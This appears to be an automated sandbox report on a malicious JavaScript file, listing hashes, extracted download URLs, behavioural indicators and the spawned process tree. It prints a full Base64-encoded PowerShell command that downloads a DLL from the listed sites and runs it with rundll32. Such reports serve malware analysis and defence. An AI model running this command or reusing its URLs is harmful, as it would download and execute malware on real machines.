Analysis
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max time kernel
143s -
max time network
127s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
22-03-2023 01:26
Static task
static1
Behavioral task
behavioral1
Sample
90136d6f6a748093254c25d77154148ad20f27a98febcdca2fa287a1b898f732.js
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
90136d6f6a748093254c25d77154148ad20f27a98febcdca2fa287a1b898f732.js
Resource
win10v2004-20230220-en
General
-
Target
90136d6f6a748093254c25d77154148ad20f27a98febcdca2fa287a1b898f732.js
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Size
65KB
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MD5
677e4c55e7f8f97eda933525c8ed77ab
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SHA1
ddf062a6ef5059d59d9e39a8daa270727cd059b5
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SHA256
90136d6f6a748093254c25d77154148ad20f27a98febcdca2fa287a1b898f732
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SHA512
790cc86a95f0bf90aee9ea50424bc7cb78d9fdb971f0ff737a968e549b85baa8be10c24f0a7ccc451b266c02065f7152ac2a7e2ba3f5275b55f6438ae95379f6
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SSDEEP
768:XnAhHZ0CV2Fh1EwUBlKKKUUq3ee7Nr3G9iPxVEysavZA8S5il2FWWtlQvThUxuTB:QX0/0QYD2QWiUQkEZKMicsPe
Malware Config
Extracted
https://onestopsilkscreeners.ca/o6g4bt1/SHkwxN
https://smeolbd.com/ntaUX/gT17uB8zXQQ1
https://sobanaze.com/cJn7i/KIeo1
https://kingzunlimited.com/VvAmv/HrBnUeEt83Z
https://odwazig.nl/xNV7x/AHwPIvNXWMJ
https://discountlandllc.com/uUbH/FEnP9o3WZa
https://canadianused.com/euSgOJA/hcrqV3k2SO
https://getcash2surveys.com/0HFE0G/Kz55wwkxZ5
Signatures
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Blocklisted process makes network request 8 IoCs
flow pid Process 19 2436 powershell.exe 23 2436 powershell.exe 26 2436 powershell.exe 29 2436 powershell.exe 31 2436 powershell.exe 33 2436 powershell.exe 37 2436 powershell.exe 42 2436 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2436 powershell.exe 2436 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2436 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1268 wrote to memory of 2436 1268 wscript.exe 86 PID 1268 wrote to memory of 2436 1268 wscript.exe 86
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\90136d6f6a748093254c25d77154148ad20f27a98febcdca2fa287a1b898f732.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1268 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7ACQAZABlAGIAYQB1AGMAaABlAHIAaQBlAHMAQwBvAG4AdAByAGEAYwB0AGkAbABpAHQAeQAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAG8AbgBlAHMAdABvAHAAcwBpAGwAawBzAGMAcgBlAGUAbgBlAHIAcwAuAGMAYQAvAG8ANgBnADQAYgB0ADEALwBTAEgAawB3AHgATgAsAGgAdAB0AHAAcwA6AC8ALwBzAG0AZQBvAGwAYgBkAC4AYwBvAG0ALwBuAHQAYQBVAFgALwBnAFQAMQA3AHUAQgA4AHoAWABRAFEAMQAsAGgAdAB0AHAAcwA6AC8ALwBzAG8AYgBhAG4AYQB6AGUALgBjAG8AbQAvAGMASgBuADcAaQAvAEsASQBlAG8AMQAsAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHoAdQBuAGwAaQBtAGkAdABlAGQALgBjAG8AbQAvAFYAdgBBAG0AdgAvAEgAcgBCAG4AVQBlAEUAdAA4ADMAWgAsAGgAdAB0AHAAcwA6AC8ALwBvAGQAdwBhAHoAaQBnAC4AbgBsAC8AeABOAFYANwB4AC8AQQBIAHcAUABJAHYATgBYAFcATQBKACwAaAB0AHQAcABzADoALwAvAGQAaQBzAGMAbwB1AG4AdABsAGEAbgBkAGwAbABjAC4AYwBvAG0ALwB1AFUAYgBIAC8ARgBFAG4AUAA5AG8AMwBXAFoAYQAsAGgAdAB0AHAAcwA6AC8ALwBjAGEAbgBhAGQAaQBhAG4AdQBzAGUAZAAuAGMAbwBtAC8AZQB1AFMAZwBPAEoAQQAvAGgAYwByAHEAVgAzAGsAMgBTAE8ALABoAHQAdABwAHMAOgAvAC8AZwBlAHQAYwBhAHMAaAAyAHMAdQByAHYAZQB5AHMALgBjAG8AbQAvADAASABGAEUAMABHAC8ASwB6ADUANQB3AHcAawB4AFoANQAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABGAGEAdAB0AGUAZABCAGEAdAB0AGUAcgBzACAAaQBuACAAJABkAGUAYgBhAHUAYwBoAGUAcgBpAGUAcwBDAG8AbgB0AHIAYQBjAHQAaQBsAGkAdAB5ACkAIAB7AHQAcgB5ACAAewBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAEYAYQB0AHQAZQBkAEIAYQB0AHQAZQByAHMAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAAxADkAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAG0AaQBzAHQAZQBuAGQAcwBSAGUAbQBpAHMAZQBkAC4AZABsAGwAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABtAGkAcwB0AGUAbgBkAHMAUgBlAG0AaQBzAGUAZAAuAGQAbABsACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAG0AaQBzAHQAZQBuAGQAcwBSAGUAbQBpAHMAZQBkAC4AZABsAGwALABXAFcANQAwADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7AH0AfQA="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2436
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82